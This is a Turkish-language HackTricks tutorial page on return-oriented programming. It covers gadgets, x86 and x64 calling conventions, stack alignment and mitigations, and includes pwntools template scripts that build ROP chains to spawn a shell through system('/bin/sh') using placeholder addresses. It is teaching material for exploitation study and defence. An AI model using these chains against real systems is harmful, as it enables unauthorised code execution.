.. | ||
ret2esp-ret2reg | ||
ret2lib | ||
rop-syscall-execv | ||
srop-sigreturn-oriented-programming | ||
brop-blind-return-oriented-programming.md | ||
README.md | ||
ret2csu.md | ||
ret2dlresolve.md | ||
ret2esp-ret2reg.md | ||
ret2vdso.md | ||
rop-syscall-execv.md | ||
srop-sigreturn-oriented-programming.md |
ROP - Return Oriented Programing
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @hacktricks_live** takip edin.**
- Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Temel Bilgiler
Return-Oriented Programming (ROP), No-Execute (NX) veya Data Execution Prevention (DEP) gibi güvenlik önlemlerini atlatmak için kullanılan gelişmiş bir sızma tekniğidir. Bir saldırgan, shellcode enjekte etmek ve yürütmek yerine, binary veya yüklenmiş kütüphanelerde zaten bulunan kod parçalarını, yani "gadget"'ları kullanır. Her gadget genellikle bir ret
talimatı ile biter ve veri taşıma veya aritmetik işlemler gibi küçük bir işlem gerçekleştirir. Bu gadget'ları bir araya getirerek, bir saldırgan, NX/DEP korumalarını atlayarak keyfi işlemler gerçekleştirmek için bir yük oluşturabilir.
ROP Nasıl Çalışır
- Kontrol Akışı Kaçırma: İlk olarak, bir saldırganın bir programın kontrol akışını ele geçirmesi gerekir, genellikle bir tampon taşması kullanarak yığında kaydedilen bir dönüş adresini üzerine yazarak.
- Gadget Zinciri: Saldırgan daha sonra istenen işlemleri gerçekleştirmek için dikkatlice gadget'ları seçer ve zincirler. Bu, bir işlev çağrısı için argümanları ayarlamayı, işlevi çağırmayı (örneğin,
system("/bin/sh")
), ve gerekli temizlik veya ek işlemleri ele almayı içerebilir. - Yük Yürütme: Zayıf işlev geri döndüğünde, meşru bir konuma dönüş yerine, gadget zincirini yürütmeye başlar.
Araçlar
Genellikle, gadget'lar ROPgadget, ropper veya doğrudan pwntools (ROP) kullanılarak bulunabilir.
ROP Zinciri x86 Örneği
x86 (32-bit) Çağrı sözleşmeleri
- cdecl: Çağrı yapan yığını temizler. İşlev argümanları ters sırayla (sağdan sola) yığına itilir. Argümanlar sağdan sola doğru yığına itilir.
- stdcall: cdecl'ye benzer, ancak yığını temizleme işlemi çağrıyı alanın sorumluluğundadır.
Gadget'lar Bulma
Öncelikle, binary veya yüklenmiş kütüphanelerde gerekli gadget'ları tanımladığımızı varsayalım. İlgilendiğimiz gadget'lar şunlardır:
pop eax; ret
: Bu gadget, yığının en üst değeriniEAX
kaydedicisine iter ve ardından döner, böyleceEAX
üzerinde kontrol sağlar.pop ebx; ret
: Yukarıdakiyle benzer, ancakEBX
kaydedicisi için,EBX
üzerinde kontrol sağlar.mov [ebx], eax; ret
:EAX
içindeki değeri,EBX
tarafından işaret edilen bellek konumuna taşır ve ardından döner. Bu genellikle bir write-what-where gadget olarak adlandırılır.- Ayrıca,
system()
işlevinin adresine sahibiz.
ROP Zinciri
pwntools kullanarak, ROP zinciri yürütmesi için yığını aşağıdaki gibi hazırlıyoruz, system('/bin/sh')
'yi yürütmeyi amaçlayarak, zincirin aşağıdaki gibi başladığına dikkat edin:
- Hizalama amaçlı bir
ret
talimatı (isteğe bağlı) system
işlevinin adresi (ASLR devre dışı bırakılmış ve bilinen libc varsayılarak, daha fazla bilgi için Ret2lib)system()
'dan dönüş adresi için yer tutucu"/bin/sh"
dizesi adresi (system işlevi için parametre)
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
x64 Örneğinde ROP Zinciri
x64 (64-bit) Çağrı Kuralları
- Unix benzeri sistemlerde System V AMD64 ABI çağrı kuralını kullanır, burada ilk altı tamsayı veya işaretçi argüman
RDI
,RSI
,RDX
,RCX
,R8
veR9
registerlara iletilir. Ek argümanlar yığına iletilir. Dönüş değeriRAX
registerına yerleştirilir. - Windows x64 çağrı kuralı ilk dört tamsayı veya işaretçi argümanlar için
RCX
,RDX
,R8
veR9
kullanır, ek argümanlar yığına iletilir. Dönüş değeriRAX
registerına yerleştirilir. - Registerlar: 64-bit registerlar arasında
RAX
,RBX
,RCX
,RDX
,RSI
,RDI
,RBP
,RSP
veR8
ileR15
bulunur.
Gadget'ları Bulma
Amacımız, RDI registerını ayarlamamıza ( **system()`a "/bin/sh" dizesini argüman olarak iletmek için) ve ardından system() fonksiyonunu çağırmamıza izin verecek gadget'ları bulmaya odaklanalım. Aşağıdaki gadget'ları tanımladığımızı varsayalım:
- pop rdi; ret: Yığının en üst değerini RDI'ya çıkarır ve ardından döner. system() için argümanımızı ayarlamak için temel önemlidir.
- ret: Basit bir dönüş, bazı senaryolarda yığın hizalaması için kullanışlıdır.
Ve system() fonksiyonunun adresini biliyoruz.
ROP Zinciri
Aşağıda, x64 üzerinde system('/bin/sh')'ı çalıştırmayı amaçlayan bir ROP zinciri oluşturmak ve yürütmek için pwntools kullanarak bir örnek bulunmaktadır:
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
Bu örnekte:
pop rdi; ret
cihazını kullanarakRDI
'yi"/bin/sh"
adresine ayarlıyoruz.RDI
'yi ayarladıktan sonra doğrudansystem()
'e atlıyoruz, system()'ün adresi zincirde.- **Hedef ortamın gerektirmesi durumunda hizalama için
ret_gadget
kullanılır, bu daha yaygın olarak x64'te fonksiyonları çağırmadan önce uygun yığın hizalamasını sağlamak için gereklidir.
Yığın Hizalaması
x86-64 ABI, bir çağrı talimatı yürütüldüğünde yığının 16 bayt hizalandığını sağlar. LIBC, performansı optimize etmek için SSE talimatları (örneğin movaps) kullanır ve bu hizalamayı gerektirir. Yığın uygun şekilde hizalanmazsa (yani RSP 16'nın katı değilse), ROP zincirinde system gibi fonksiyonlara çağrılar başarısız olur. Bunun düzeltilmesi için ROP zincirinizde system'i çağırmadan önce basitçe bir ret cihazı ekleyin.
x86'ya karşı x64 ana farkı
{% hint style="success" %} x64, ilk birkaç argüman için kayıtları kullandığından, basit fonksiyon çağrıları için genellikle x86'dan daha az cihaz gerektirir, ancak doğru cihazları bulup zincirlemek, artan kayıt sayısı ve daha büyük adres alanı nedeniyle daha karmaşık olabilir. Artan kayıt sayısı ve daha büyük adres alanı, özellikle Return-Oriented Programming (ROP) bağlamında, sömürü geliştirme için hem fırsatlar hem de zorluklar sunar. {% endhint %}
ARM64 Örneğinde ROP Zinciri
ARM64 Temelleri ve Çağrı Kuralları
Bu bilgiler için aşağıdaki sayfaya bakın:
{% content-ref url="../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} arm64-basic-assembly.md {% endcontent-ref %}
ROP'a Karşı Korumalar
- ASLR ve PIE: Bu korumalar, adreslerin yürütme arasında değişmesi nedeniyle ROP kullanımını zorlaştırır.
- Yığın Kanaryaları: BOF durumunda, ROP zincirini kötüye kullanmak için geri dönüş işaretçilerini üzerine yazmak için yığın kanaryasını atlamak gereklidir.
- Yetersiz Cihazlar: Yeterli cihaz yoksa ROP zinciri oluşturulamaz.
ROP tabanlı teknikler
ROP'un yalnızca keyfi kodu yürütmek için bir teknik olduğunu unutmayın. ROP'a dayalı birçok Ret2XXX tekniği geliştirilmiştir:
- Ret2lib: Yüklenmiş bir kütüphaneden keyfi parametrelerle keyfi işlevleri çağırmak için ROP kullanın (genellikle
system('/bin/sh')
gibi bir şey).
{% content-ref url="ret2lib/" %} ret2lib {% endcontent-ref %}
- Ret2Syscall: ROP'u bir sistem çağrısını hazırlamak için kullanın, örneğin
execve
, ve bunu keyfi komutları yürütmek için kullanın.
{% content-ref url="rop-syscall-execv/" %} rop-syscall-execv {% endcontent-ref %}
- EBP2Ret ve EBP Zincirleme: İlk olarak akışı kontrol etmek için EBP'yi EIP yerine kötüye kullanacak ve ikincisi Ret2lib'e benzer ancak akışı çoğunlukla EBP adresleriyle kontrol eder (ancak EIP'yi kontrol etmek de gereklidir).
{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %} stack-pivoting-ebp2ret-ebp-chaining.md {% endcontent-ref %}
Diğer Örnekler ve Referanslar
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64 bit, Pie ve nx etkin, kanarya yok, RIP'yi yalnızca bir
vsyscall
adresiyle üzerine yazarak, yığında işlevin bayrağı sızdıran kısmını elde etmek için bir sonraki adrese dönüş yapılacak kısmı aşırı yazma - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, ASLR yok, ROP cihazı yığını yürütülebilir yapmak ve yığında shellcode'a atlamak için